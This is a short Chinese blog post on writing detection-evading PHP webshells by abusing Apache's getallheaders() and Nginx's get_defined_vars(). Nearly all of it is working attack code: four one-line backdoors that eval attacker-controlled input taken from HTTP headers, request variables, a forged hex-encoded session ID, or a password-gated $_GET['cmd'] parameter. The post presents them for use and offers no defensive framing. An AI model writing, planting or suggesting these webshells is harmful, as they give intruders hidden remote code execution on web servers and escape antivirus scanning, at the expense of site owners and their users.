PHP利用Apache、Nginx的特性实现免杀Webshell
Jieen 2019-12-30
| 环境 | 函数 | 用法 |
|---|---|---|
| nginx | get_defined_vars() | 返回由所有已定义变量所组成的数组 |
| apache | getallheaders() | 获取全部 HTTP 请求头信息 |
apache环境
1 2 3 | <?php eval(next(getallheaders())); ?> |
apache和nginx环境通用
1 2 3 | <?php eval(implode(reset(get_defined_vars()))); ?> |
另外一种通过执行伪造的sessionid值，进行任意代码执行。
1 2 3 | <?php eval(hex2bin(session_id(session_start()))); ?> |
给webshell加密码
1 | <?php eval(get_defined_vars()[‘_GET‘][‘cmd‘]);?> |
相关推荐
fengyun 0喜欢 / 0评论 2020-01-11
WelcomeToMyBlog 0喜欢 / 0评论 2008-10-07
黑客与安全 0喜欢 / 0评论 2008-10-07
iushnauh 0喜欢 / 0评论 2012-10-16
安在信息安全新媒体 0喜欢 / 0评论 2018-05-27
优主张 0喜欢 / 0评论 2018-05-27
二手车知识大讲堂 0喜欢 / 0评论 2018-04-10
软件设计 0喜欢 / 0评论 2017-05-27